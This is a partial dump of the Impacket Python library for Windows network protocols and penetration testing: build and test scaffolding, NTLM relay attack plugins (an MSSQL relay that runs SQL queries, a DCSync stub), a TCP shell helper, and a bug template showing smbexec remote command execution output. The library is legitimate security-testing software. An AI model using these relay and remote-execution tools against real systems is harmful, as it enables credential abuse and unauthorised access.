├── impacket ├── dcerpc │ ├── __init__.py │ └── v5 │ │ ├── __init__.py │ │ ├── dcom │ │ └── __init__.py │ │ ├── oxabref.py │ │ └── bkrp.py ├── examples │ ├── __init__.py │ ├── ntlmrelayx │ │ ├── __init__.py │ │ ├── utils │ │ │ ├── __init__.py │ │ │ ├── tcpshell.py │ │ │ ├── enum.py │ │ │ └── ssl.py │ │ ├── servers │ │ │ ├── __init__.py │ │ │ └── socksplugins │ │ │ │ ├── __init__.py │ │ │ │ ├── https.py │ │ │ │ └── imaps.py │ │ ├── attacks │ │ │ ├── mssqlattack.py │ │ │ ├── dcsyncattack.py │ │ │ ├── httpattack.py │ │ │ ├── __init__.py │ │ │ ├── imapattack.py │ │ │ └── rpcattack.py │ │ └── clients │ │ │ ├── smtprelayclient.py │ │ │ ├── imaprelayclient.py │ │ │ └── __init__.py │ └── logger.py ├── krb5 │ └── __init__.py ├── ldap │ └── __init__.py ├── version.py ├── __init__.py ├── Dot11Crypto.py ├── eap.py ├── Dot11KeyManager.py ├── uuid.py ├── pcapfile.py └── helper.py ├── tests ├── SMB_RPC │ ├── __init__.py │ ├── rundce.sh │ ├── dcetests.cfg │ ├── test_nmb.py │ ├── test_spnego.py │ └── test_fasp.py ├── ImpactPacket │ ├── __init__.py │ ├── runalltestcases.bat │ ├── runalltestcases.sh │ ├── test_TCP_bug_issue7.py │ ├── test_IP6.py │ ├── test_ethernet.py │ └── test_TCP.py ├── dot11 │ ├── runalltestcases.bat │ ├── runalltestcases.sh │ ├── test_wps.py │ ├── test_helper.py │ ├── test_FrameControlACK.py │ ├── test_FrameControlCTS.py │ ├── test_FrameControlRTS.py │ ├── test_FrameControlCFEnd.py │ ├── test_FrameControlPSPoll.py │ ├── test_FrameControlCFEndCFACK.py │ ├── test_Dot11Decoder.py │ ├── test_Dot11Base.py │ ├── test_WPA2.py │ ├── test_FrameData.py │ ├── test_RadioTapDecoder.py │ └── test_WEPEncoder.py ├── misc │ ├── runalltestcases.bat │ ├── runalltestcases.sh │ ├── test_ip6_address.py │ └── test_crypto.py ├── walkmodules.py ├── coveragerc └── runall.sh ├── MANIFEST.in ├── requirements.txt ├── tox.ini ├── Dockerfile ├── .travis.yml ├── Makefile ├── .gitignore ├── .github ├── ISSUE_TEMPLATE │ └── bug_report.md └── workflows │ └── upstream.yml ├── examples ├── mssqlinstance.py ├── ticketConverter.py ├── sniffer.py ├── ping6.py ├── ping.py ├── mqtt_check.py ├── sniff.py ├── esentutl.py ├── smbserver.py ├── getArch.py └── split.py ├── setup.py ├── LICENSE ├── README.md └── .circleci └── config.yml /impacket/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/examples/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/krb5/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/ldap/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /tests/SMB_RPC/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /tests/ImpactPacket/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/dcom/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /tests/dot11/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /tests/misc/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /tests/ImpactPacket/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include MANIFEST.in 2 | include LICENSE 3 | include ChangeLog 4 | include requirements.txt 5 | include tox.ini 6 | recursive-include examples tests *.txt *.py 7 | recursive-include tests * 8 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | future 2 | six 3 | pyasn1>=0.2.3 4 | pycryptodomex 5 | pyOpenSSL>=0.16.2 6 | ldap3>=2.5,!=2.5.2,!=2.5.0,!=2.6 7 | ldapdomaindump>=0.9.0 8 | flask>=1.0 9 | pyreadline;sys_platform == 'win32' 10 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer 2 | from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer 3 | from impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer 4 | -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | # content of: tox.ini , put in same dir as setup.py 2 | [tox] 3 | envlist = py27,py36,py37,py38,py39 4 | [testenv] 5 | basepython = 6 | py27: python2.7 7 | py36: python3.6 8 | py37: python3.7 9 | py38: python3.8 10 | py39: python3.9 11 | changedir = {toxinidir}/tests 12 | deps=-rrequirements.txt 13 | coverage 14 | passenv = NO_REMOTE 15 | commands_pre = {envpython} -m pip check 16 | commands=./runall.sh {envname} > /dev/null 17 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2-alpine as compile 2 | WORKDIR /opt 3 | RUN apk add --no-cache git gcc openssl-dev libffi-dev musl-dev 4 | RUN pip install virtualenv 5 | RUN virtualenv -p python venv 6 | ENV PATH="/opt/venv/bin:$PATH" 7 | RUN git clone --depth 1 https://github.com/SecureAuthCorp/impacket.git 8 | RUN pip install impacket/ 9 | 10 | FROM python:2-alpine 11 | COPY --from=compile /opt/venv /opt/venv 12 | ENV PATH="/opt/venv/bin:$PATH" 13 | ENTRYPOINT ["/bin/sh"] -------------------------------------------------------------------------------- /tests/walkmodules.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # From https://stackoverflow.com/questions/1707709/list-all-the-modules-that-are-part-of-a-python-package 3 | import pkgutil 4 | import impacket 5 | package=impacket 6 | for importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__, 7 | prefix=package.__name__+'.', 8 | onerror=lambda x: None): 9 | try: 10 | __import__(modname) 11 | except Exception as e: 12 | import traceback 13 | traceback.print_exc() 14 | print(e) 15 | pass 16 | -------------------------------------------------------------------------------- /tests/coveragerc: -------------------------------------------------------------------------------- 1 | # .coveragerc to control coverage.py 2 | [run] 3 | branch = True 4 | source = impacket 5 | omit = *remcom* 6 | *.tox* 7 | 8 | [report] 9 | # Regexes for lines to exclude from consideration 10 | exclude_lines = 11 | # Have to re-enable the standard pragma 12 | pragma: no cover 13 | 14 | # Don't complain about missing debug-only code: 15 | if self\.debug 16 | 17 | # Don't complain if tests don't hit defensive assertion code: 18 | raise AssertionError 19 | raise NotImplementedError 20 | 21 | # Don't complain if non-runnable code isn't run: 22 | if 0: 23 | if __name__ == .__main__.: 24 | 25 | ignore_errors = True 26 | 27 | [html] 28 | directory = coverage_html_report 29 | -------------------------------------------------------------------------------- /impacket/version.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2019 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | import pkg_resources 8 | from impacket import __path__ 9 | 10 | 11 | try: 12 | version = pkg_resources.get_distribution('impacket').version 13 | except pkg_resources.DistributionNotFound: 14 | version = "?" 15 | print("Cannot determine Impacket version. " 16 | "If running from source you should at least run \"python setup.py egg_info\"") 17 | BANNER = "Impacket v{} - Copyright 2020 SecureAuth Corporation\n".format(version) 18 | 19 | def getInstallationPath(): 20 | return 'Impacket Library Installation Path: {}'.format(__path__[0]) 21 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import pkg_resources 4 | 5 | SOCKS_RELAYS = set() 6 | 7 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'): 8 | if file.find('__') >= 0 or file.endswith('.py') is False: 9 | continue 10 | # This seems to be None in some case (py3 only) 11 | # __spec__ is py3 only though, but I haven't seen this being None on py2 12 | # so it should cover all cases. 13 | try: 14 | package = __spec__.name # Python 3 15 | except NameError: 16 | package = __package__ # Python 2 17 | __import__(package + '.' + os.path.splitext(file)[0]) 18 | module = sys.modules[package + '.' + os.path.splitext(file)[0]] 19 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS')) 20 | SOCKS_RELAYS.add(pluginClass) 21 | -------------------------------------------------------------------------------- /tests/SMB_RPC/rundce.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../../:$PYTHONPATH 5 | if [ $# -gt 0 ] 6 | then 7 | # Only run coverage when called by tox 8 | RUN="python -m coverage run --append --rcfile=../coveragerc " 9 | else 10 | RUN=python 11 | fi 12 | 13 | python -V > /tmp/version 14 | 15 | $RUN test_rpcrt.py 16 | $RUN test_scmr.py 17 | $RUN test_epm.py 18 | $RUN test_samr.py 19 | $RUN test_wkst.py 20 | $RUN test_srvs.py 21 | $RUN test_lsad.py 22 | $RUN test_lsat.py 23 | $RUN test_rrp.py 24 | $RUN test_mgmt.py 25 | $RUN test_ndr.py 26 | $RUN test_drsuapi.py 27 | $RUN test_wmi.py 28 | $RUN test_dcomrt.py 29 | $RUN test_even6.py 30 | $RUN test_bkrp.py 31 | $RUN test_tsch.py 32 | $RUN test_dhcpm.py 33 | $RUN test_secretsdump.py 34 | $RUN test_nrpc.py 35 | $RUN test_rprn.py 36 | $RUN test_rpch.py 37 | -------------------------------------------------------------------------------- /impacket/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Author: Alberto Solino (@agsolino) 8 | # 9 | 10 | # Set default logging handler to avoid "No handler found" warnings. 11 | import logging 12 | try: # Python 2.7+ 13 | from logging import NullHandler 14 | except ImportError: 15 | class NullHandler(logging.Handler): 16 | def emit(self, record): 17 | pass 18 | 19 | # All modules inside this library MUST use this logger (impacket) 20 | # It is up to the library consumer to do whatever is wanted 21 | # with the logger output. By default it is forwarded to the 22 | # upstream logger 23 | 24 | LOG = logging.getLogger(__name__) 25 | LOG.addHandler(NullHandler()) 26 | -------------------------------------------------------------------------------- /tests/ImpactPacket/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../..:$PYTHONPATH 5 | 6 | if [ $# -gt 0 ] 7 | then 8 | # Only run coverage when called by tox 9 | RUN="python -m coverage run --append --rcfile=../coveragerc " 10 | else 11 | RUN=python 12 | fi 13 | 14 | total=0 15 | ok=0 16 | failed=0 17 | for file in `ls *.py` ; do 18 | echo $separator 19 | echo Executing $RUN $file 20 | latest=$( 21 | $RUN $file 2>&1 | { 22 | while read line; do 23 | echo " $line" 1>&2 24 | latest="$line" 25 | done 26 | echo $latest 27 | } 28 | ) 29 | #echo Latest ${latest} 30 | result=${latest:0:6} 31 | if [ "$result" = "FAILED" ] 32 | then 33 | (( failed++ )) 34 | elif [ "$result" = "OK" ] 35 | then 36 | (( ok++ )) 37 | fi 38 | 39 | (( total++ )) 40 | done 41 | echo $separator 42 | echo Summary: 43 | echo " OK $ok/$total" 44 | echo " $failed FAILED" 45 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | group: travis_latest 2 | os: linux 3 | dist: focal 4 | language: python 5 | cache: pip 6 | 7 | jobs: 8 | include: 9 | - python: 2.7 10 | env: NO_REMOTE=true, TOXENV=py27 11 | - python: 3.6 12 | env: NO_REMOTE=true, TOXENV=py36 13 | - python: 3.7 14 | env: NO_REMOTE=true, TOXENV=py37 15 | - python: 3.8 16 | env: NO_REMOTE=true, TOXENV=py38 17 | - python: 3.9-dev 18 | env: NO_REMOTE=true, TOXENV=py39 19 | allow_failures: 20 | - python: 3.9-dev 21 | 22 | install: pip install flake8 tox -r requirements.txt 23 | 24 | before_script: 25 | # stop the build if there are Python syntax errors or undefined names 26 | - flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 27 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 28 | - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics 29 | 30 | script: tox 31 | -------------------------------------------------------------------------------- /tests/dot11/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | export PYTHONPATH=../..:$PYTHONPATH 4 | 5 | if [ $# -gt 0 ] 6 | then 7 | # Only run coverage when called by tox 8 | RUN="python -m coverage run --append --rcfile=../coveragerc " 9 | else 10 | RUN=python 11 | fi 12 | 13 | total=0 14 | ok=0 15 | failed=0 16 | for file in `ls *.py` ; do 17 | echo $separator 18 | echo Executing $file 19 | latest=$( 20 | $RUN $file 2>&1 | { 21 | while read line; do 22 | echo " $line" 1>&2 23 | latest="$line" 24 | done 25 | echo $latest 26 | } 27 | ) 28 | #echo Latest ${latest} 29 | result=${latest:0:6} 30 | if [ "$result" = "FAILED" ] 31 | then 32 | (( failed++ )) 33 | elif [ "$result" = "OK" ] 34 | then 35 | (( ok++ )) 36 | else 37 | echo "WARNING: Unknown result!!!!!" 38 | (( failed++ )) 39 | fi 40 | 41 | (( total++ )) 42 | done 43 | echo $separator 44 | echo Summary: 45 | echo " OK $ok/$total" 46 | echo " $failed FAILED" 47 | -------------------------------------------------------------------------------- /tests/misc/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../..:$PYTHONPATH 5 | 6 | if [ $# -gt 0 ] 7 | then 8 | # Only run coverage when called by tox 9 | RUN="python -m coverage run --append --rcfile=../coveragerc " 10 | else 11 | RUN=python 12 | fi 13 | 14 | total=0 15 | ok=0 16 | failed=0 17 | for file in `ls *.py` ; do 18 | echo $separator 19 | echo Executing $RUN $file 20 | latest=$( 21 | $RUN $file 2>&1 | { 22 | while read line; do 23 | echo " $line" 1>&2 24 | latest="$line" 25 | done 26 | echo $latest 27 | } 28 | ) 29 | #echo Latest ${latest} 30 | result=${latest:0:6} 31 | if [ "$result" = "FAILED" ] 32 | then 33 | (( failed++ )) 34 | elif [ "$result" = "OK" ] 35 | then 36 | (( ok++ )) 37 | fi 38 | 39 | (( total++ )) 40 | done 41 | echo $separator 42 | echo Summary: 43 | echo " OK $ok/$total" 44 | echo " $failed FAILED" 45 | if [ "$failed" -gt 0 ]; then 46 | echo "ERROR" >&2 47 | exit 1 48 | fi 49 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all linux musl windows help cleanspec clean 2 | 3 | help: ## Show this help 4 | @fgrep -h "##" $(MAKEFILE_LIST) | fgrep -v fgrep | sed -e 's/\\$$//' | sed -e 's/##//' 5 | 6 | all: linux musl windows ## (Build everything) 7 | 8 | linux: ## Build linux_x64 Binaries in Docker 9 | @docker run --rm \ 10 | -v "${PWD}:/impacket" \ 11 | -w "/impacket" \ 12 | rflathers/centos5_python27 \ 13 | build_scripts/build_linux.sh 14 | 15 | musl: ## Build linux_x64 binaries against musl in Alpine Linux Docker 16 | @docker run --rm \ 17 | -v "${PWD}:/impacket" \ 18 | -w "/impacket" \ 19 | rflathers/alpine34_pyinstaller \ 20 | build_scripts/build_musl.sh 21 | 22 | windows: ## Build Windows_x64 binaries 23 | @docker run --rm \ 24 | -v "${PWD}:/impacket" \ 25 | -w "/impacket" \ 26 | --entrypoint="/impacket/build_scripts/build_windows.sh" \ 27 | cdrx/pyinstaller-windows:python2 28 | 29 | clean: cleanspec ## Remove all build artifacts 30 | rm -rf dist/* build/* 31 | 32 | cleanspec: ## Remove spec files 33 | rm -f *.spec 34 | rm -rf spec/ 35 | 36 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | venv/ 12 | .env/ 13 | .venv/ 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | 29 | Pipfile 30 | Pipfile.lock 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *,cover 51 | 52 | # bak files 53 | *.bak 54 | 55 | # Translations 56 | *.mo 57 | *.pot 58 | 59 | # Django stuff: 60 | *.log 61 | 62 | # Sphinx documentation 63 | docs/_build/ 64 | 65 | # PyBuilder 66 | target/ 67 | 68 | # macOS 69 | .DS_Store 70 | 71 | # PyCharm 72 | .idea 73 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/mssqlattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # MSSQL Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # MSSQL protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from impacket import LOG 19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | 21 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 22 | 23 | class MSSQLAttack(ProtocolAttack): 24 | PLUGIN_NAMES = ["MSSQL"] 25 | def run(self): 26 | if self.config.queries is None: 27 | LOG.error('No SQL queries specified for MSSQL relay!') 28 | else: 29 | for query in self.config.queries: 30 | LOG.info('Executing SQL: %s' % query) 31 | self.client.sql_query(query) 32 | self.client.printReplies() 33 | self.client.printRows() 34 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/attacks/dcsyncattack.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # HTTP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes 20 | 21 | PROTOCOL_ATTACK_CLASS = "DCSYNCAttack" 22 | 23 | class DCSYNCAttack(ProtocolAttack): 24 | """ 25 | This is the default HTTP attack. This attack only dumps the root page, though 26 | you can add any complex attack below. self.client is an instance of urrlib.session 27 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 28 | proxy through ntlmrelayx 29 | """ 30 | PLUGIN_NAMES = ["DCSYNC"] 31 | def run(self): 32 | return 33 | -------------------------------------------------------------------------------- /tests/SMB_RPC/dcetests.cfg: -------------------------------------------------------------------------------- 1 | [global] 2 | 3 | [TCPTransport] 4 | # NetBIOS Name 5 | servername = 6 | # Targets IP 7 | machine = 172.16.123.232 8 | username = Administrator 9 | password = test 10 | # NTLM Hash, you can grab it with secretsdump 11 | hashes = 12 | # Kerberos AES 256 Key, you can grab it with secretsdump 13 | aesKey256 = 14 | # Kerberos AES 128 Key, you can grab it with secretsdump 15 | aesKey128 = 16 | # It must be the domain FQDN 17 | domain = CONTOSO.COM 18 | # This need to be a domain joined machine NetBIOS name 19 | machineuser= 20 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump) 21 | machineuserhashes = 22 | 23 | [SMBTransport] 24 | # NetBIOS Name 25 | servername = 26 | # Targets IP 27 | machine = 172.16.123.232 28 | username = Administrator 29 | password = test 30 | # NTLM Hash, you can grab it with secretsdump 31 | hashes = 32 | # Kerberos AES 256 Key, you can grab it with secretsdump 33 | aesKey256 = 34 | # Kerberos AES 128 Key, you can grab it with secretsdump 35 | aesKey128 = 36 | # It must be the domain FQDN 37 | domain = CONTOSO.COM 38 | # This need to be a domain joined machine NetBIOS name 39 | machineuser= 40 | # Domain joined machine NetBIOS name hashes (grab them with secretsdump) 41 | machineuserhashes = 42 | -------------------------------------------------------------------------------- /impacket/Dot11Crypto.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Description: 8 | # IEEE 802.11 Network packet codecs. 9 | # 10 | # Author: 11 | # Gustavo Moreira 12 | 13 | class RC4(): 14 | def __init__(self, key): 15 | bkey = bytearray(key) 16 | j = 0 17 | self.state = bytearray(range(256)) 18 | for i in range(256): 19 | j = (j + self.state[i] + bkey[i % len(key)]) & 0xff 20 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 21 | 22 | def encrypt(self, data): 23 | i = j = 0 24 | out=bytearray() 25 | for char in bytearray(data): 26 | i = (i+1) & 0xff 27 | j = (j+self.state[i]) & 0xff 28 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 29 | out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff]) 30 | 31 | return bytes(out) 32 | 33 | def decrypt(self, data): 34 | # It's symmetric 35 | return self.encrypt(data) 36 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | ### Configuration 11 | impacket version: 12 | Python version: 13 | Target OS: 14 | 15 | ### Debug Output With Command String 16 | i.e. 17 | smbexec -debug domain/user:password@127.0.0.1 18 | ``` 19 | smbexec -debug domain/user:password@127.0.0.1 20 | [+] StringBinding ncacn_np:127.0.0.1[\pipe\svcctl] 21 | [+] Executing %COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 22 | [!] Launching semi-interactive shell - Careful what you execute 23 | C:\Windows\system32>net group 24 | [+] Executing %COMSPEC% /Q /c echo net group ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 25 | Traceback (most recent call last): 26 | File "/usr/lib64/python3.7/cmd.py", line 214, in onecmd 27 | func = getattr(self, 'do_' + cmd) 28 | AttributeError: 'RemoteShell' object has no attribute 'do_net' 29 | ``` 30 | 31 | ### PCAP 32 | If applicable, add a packet capture to help explain your problem. 33 | 34 | ### Additional context 35 | Space for additional context, investigative results, suspected issue. 36 | -------------------------------------------------------------------------------- /impacket/examples/ntlmrelayx/utils/tcpshell.py: -------------------------------------------------------------------------------- 1 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # TCP interactive shell 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Launches a TCP shell for interactive use of clients 14 | # after successful relaying 15 | import socket 16 | #Default listen port 17 | port = 11000 18 | class TcpShell: 19 | def __init__(self): 20 | global port 21 | self.port = port 22 | #Increase the default port for the next attack 23 | port += 1 24 | 25 | def listen(self): 26 | #Set up the listening socket 27 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | #Bind on localhost 29 | serversocket.bind(('127.0.0.1', self.port)) 30 | #Don't allow a backlog 31 | serversocket.listen(0) 32 | self.connection, host = serversocket.accept() 33 | #Create file objects from the socket 34 | self.stdin = self.connection.makefile("r") 35 | self.stdout = self.connection.makefile("w") 36 | 37 | def close(self): 38 | self.stdout.close() 39 | self.stdin.close() 40 | self.connection.close() 41 | -------------------------------------------------------------------------------- /tests/ImpactPacket/test_TCP_bug_issue7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # sorry, this is very ugly, but I'm in python 2.5 3 | import sys 4 | sys.path.insert(0,"../..") 5 | 6 | from impacket.ImpactPacket import TCP, ImpactPacketException 7 | import unittest 8 | from threading import Thread 9 | 10 | class TestTCP(unittest.TestCase): 11 | 12 | def setUp(self): 13 | # Dummy TCP header with "Maximum Segment Size" Option and zero length 14 | self.frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 15 | 16 | def test_01(self): 17 | 'Test TCP options parsing hangs' 18 | class it_hangs(Thread): 19 | def __init__(self): 20 | Thread.__init__(self) 21 | def run(self): 22 | try: 23 | frame = '\x12\x34\x00\x50\x00\x00\x00\x01\x00\x00\x00\x00' \ 24 | '\x60\x00\x00\x00\x8d\x5c\x00\x00\x02\x00\x00\x00' 25 | tcp = TCP(frame) 26 | except ImpactPacketException as e: 27 | if str(e) != "'TCP Option length is too low'": 28 | raise e 29 | except: 30 | pass 31 | 32 | thread_hangs = it_hangs() 33 | thread_hangs.setDaemon(True) 34 | thread_hangs.start() 35 | 36 | thread_hangs.join(1.0) # 1 seconds timeout 37 | self.assertEqual(thread_hangs.isAlive(), False) 38 | #if thread_hang.isAlive(): 39 | 40 | 41 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTCP) 42 | unittest.TextTestRunner(verbosity=1).run(suite) 43 | -------------------------------------------------------------------------------- /tests/dot11/test_wps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2003-2013 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # $Id$ 9 | # 10 | # Description: 11 | # Tests for WPS packets 12 | # 13 | # Author: 14 | # Aureliano Calvo 15 | 16 | 17 | # sorry, this is very ugly, but I'm in python 2.5 18 | import sys 19 | sys.path.insert(0,"../../..") 20 | 21 | 22 | import unittest 23 | from impacket import wps 24 | import array 25 | 26 | 27 | class TestTLVContainer(unittest.TestCase): 28 | 29 | def testNormalUsageContainer(self): 30 | BUILDERS={ 31 | 1: wps.StringBuilder(), 32 | 2: wps.ByteBuilder(), 33 | 3: wps.NumBuilder(2) 34 | } 35 | tlvc = wps.TLVContainer(builders=BUILDERS) 36 | 37 | KINDS_N_VALUES = ( 38 | (1, b"Sarlanga"), 39 | (2, 1), 40 | (3, 1024), 41 | (4, array.array("B", [1,2,3])) 42 | ) 43 | for k,v in KINDS_N_VALUES: 44 | tlvc.append(k,v) 45 | 46 | tlvc2 = wps.TLVContainer(builders=BUILDERS) 47 | tlvc2.from_ary(tlvc.to_ary()) 48 | 49 | for k,v in KINDS_N_VALUES: 50 | self.assertEqual(v, tlvc2.first(k)) 51 | 52 | self.assertEqual(tlvc.to_ary(), tlvc2.to_ary()) 53 | self.assertEquals(b"Sarlanga", tlvc.first(1)) 54 | 55 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTLVContainer) 56 | unittest.TextTestRunner(verbosity=1).run(suite) 57 | -------------------------------------------------------------------------------- /examples/mssqlinstance.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: [MC-SQLR] example. Retrieves the instances names from the target host 9 | # 10 | # Author: 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Reference for: 14 | # Structure 15 | # 16 | 17 | from __future__ import division 18 | from __future__ import print_function 19 | import argparse 20 | import sys 21 | import logging 22 | 23 | from impacket.examples import logger 24 | from impacket import version, tds 25 | 26 | if __name__ == '__main__': 27 | 28 | print(version.BANNER) 29 | # Init the example's logger theme 30 | logger.init() 31 | 32 | parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") 33 | 34 | 